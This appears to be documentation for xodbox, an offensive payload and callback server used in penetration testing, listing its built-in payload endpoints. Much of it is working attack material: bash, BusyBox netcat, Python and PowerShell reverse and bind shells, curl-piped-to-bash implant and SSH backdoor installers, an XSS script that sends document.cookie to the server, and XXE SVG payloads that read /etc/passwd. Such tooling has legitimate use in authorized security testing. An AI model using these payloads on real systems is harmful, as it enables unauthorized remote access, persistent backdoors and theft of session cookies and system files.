HTTPX

• 1: Default Payloads Seeds
• 1.1: Default Header
• 1.2: Redirect
• 1.3: Remote Address Reflector
• 1.4: Robots TXT
• 1.5: Build MDaaS
• 1.6: Inspect
• 1.7: XSS HTML
• 1.8: XSS JavaScript
• 1.9: Default Favicon
• 1.10: Bash Reverse Shell
• 1.11: Bind Shell
• 1.12: BusyBox Reverse Shell
• 1.13: Detect platform
• 1.14: HTML IFrame With Request Params
• 1.15: Open Graph
• 1.16: Python Reverse Shell
• 1.17: Reverse Shell
• 1.18: Simple SSH
• 1.19: Simple SSH Service
• 1.20: XSS Image Template
• 1.21: XXE Callback
• 1.22: XXE DTD
• 1.23: XXE SVG Hostname
• 1.24: XXE SVG Passwd
• 1.25: XXE SVG Request Params
• 1.26: XXE System
• 1.27: Default Page
• 1.28: In Development Seeds
• 1.28.1: Bind shell powershell
• 1.28.2: Pipe Process List to Notifier
• 1.28.3: WPAD
• 2: Example Payloads
• 2.1: List Payloads

filter: "(GET|POST|HEAD|DELETE|PUT|PATCH|TRACE) /myPrefix"

1 - Default Payloads Seeds

Default payloads that come with xodbox.

1.1 - Default Header

Adds an HTTP header to all HTTP responses.

Example Request

curl -i http://xodbox.test/

Example Response

Server: BreakfastBot/1.0.0

1.2 - Redirect

HTTP Redirects to the query parameter l using the query param s as the status code.

Example Request

curl -i "http://xodbox.test/redir?l=https://github.com/defektive/xodbox&s=301"

Example Response

Location: https://github.com/defektive/xodbox

1.3 - Remote Address Reflector

Simple robots txt to prevent indexing.

Example Request

curl http://xodbox.test/ip

Example Response

10.1.2.3

1.4 - Robots TXT

Simple robots txt to prevent indexing.

Example Request

curl http://xodbox.test/robots.txt

Example Response

User-Agent: *
Disallow: /

1.5 - Build MDaaS

1.6 - Inspect

Depends on an internal code

/inspect

Inspect or reflect the request back in various formats.

• Plain Text (default, .txt)
• HTML (.html, .html)
• GIF (.gif)
• JPEG (.jpg)
• PNG (.png)
• MP4 (.mp4)
• XML (.xml)
• JSON (.json)
• Javascript (.js)

Examples

• http://localhost/inspect
• http://localhost/some/random/path/inspect.gif

1.7 - XSS HTML

/jsc.html

Simple HTML to load simple JS Payload.

1.8 - XSS JavaScript

/jsc

Simple JS Payload. Useful form embedding or quickly copying and modifying for an XSS payload to prove execution and exfil.

(function (){
    var s = document.createElement("img");
    document.body.appendChild(s);
    s.src="//{{.Request.Host}}/{{ .NotifyString}}/jscb?src="+window.location+"&c="+document.cookie;
})()

1.9 - Default Favicon

Redirects to the embedded default logo, exposed via embedded fs.

Example Request

curl -i http://xodbox.test/favicon.ico

1.10 - Bash Reverse Shell

Useful for reverse shells on busybox systems.

Example Request

Params

curl -i "http://xodbox.test/rsh/bash?h=10.10.10.10&p=9090"

Example Response

bash -i >& /dev/tcp/127.0.0.1/9091 0>&1
0<&196;exec 196<>/dev/tcp/127.0.0.1/9091 ; sh <&196 >&196 2>&196
/bin/bash -l > /dev/tcp/127.0.0.1/9091 0<&1 2>&1

1.11 - Bind Shell

Build a bind shell implant for the specific platform and execute it.

Example Request

curl xodbox/bind.sh|bash

1.12 - BusyBox Reverse Shell

Useful for reverse shells on busybox systems.

Example Request

Params

curl -i "http://xodbox.test/rsh/bb?h=10.10.10.10&p=9090"

Example Response

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1111 >/tmp/f

1.13 - Detect platform

Example Request

curl -i "http://xodbox.test/detect.sh"

This will curl the notification url with the detected values in the path.

1.14 - HTML IFrame With Request Params

/ht

attempts to get whatever files is supplied via the f query parameter

1.15 - Open Graph

Useful for unfurlers. Maybe we should merge this into inspect…

Example Request

curl -i "http://xodbox.test/unfurl"

Example Response

Location: https://github.com/defektive/xodbox

1.16 - Python Reverse Shell

Useful for reverse shells on busybox systems.

Example Request

Params

curl -i "http://xodbox.test/rsh/python?h=10.10.10.10&p=9090"

Example Response

import socket,os,pty;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("127.0.0.1",9091));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
pty.spawn("/bin/sh")

1.17 - Reverse Shell

Build a reverse shell implant for the specific platform and execute it.

Example Request

curl xodbox/reverse.sh|bash

1.18 - Simple SSH

Build an SSH server implant for the specific platform and execute it.

Example Request

curl xodbox/ssh.sh|bash

1.19 - Simple SSH Service

Build an SSH server implant for the specific platform and install it as a service, then start the service.

Example Request

curl xodbox/ssh.sh|bash

1.20 - XSS Image Template

1.21 - XXE Callback

XXE Callback used by xxe-system

1.22 - XXE DTD

/dt

A vulnerable application for testing is in ../../../../cmd/xodbox-validator

/evil.dtd

dtd for use by others

1.23 - XXE SVG Hostname

/sh

attempts to get /etc/hostname

SVG with XXE payloads

1.24 - XXE SVG Passwd

/sp

attempts to get /etc/passwd

1.25 - XXE SVG Request Params

/sv

attempts to get whatever files is supplied via the f query parameter

1.26 - XXE System

/dt

A vulnerable application for testing is in ../../../../cmd/xodbox-validator

1.27 - Default Page

Adds an HTTP header to all HTTP responses.

Example Request

curl -i http://xodbox.test/

Example Response

hi

1.28 - In Development Seeds

Seeds that are not tested or finished.

1.28.1 - Bind shell powershell

iex ((New-Object System.Net.WebClient).DownloadString('http://xobox/bind.ps1'))

1.28.2 - Pipe Process List to Notifier

Example Request

curl xodbox/pipe.sh|bash

1.28.3 - WPAD

WPAD Proxy. Not really useful at the moment. Should be more useful in the future

2 - Example Payloads

Default payloads that come with xodbox.

2.1 - List Payloads

List Payloads

---
title: List Payloads
description: List payloads
weight: 1
pattern: /i-forgot-how-things-work$
is_final: true
data:
  headers:
    Content-Type: text/plain
  body: |
    Payloads
    
    {{ range .Payloads }}
    {{ .Pattern }} - {{ .Name }} [{{ .Type }}]
    {{ .Description }}
    
    {{ end }}    
---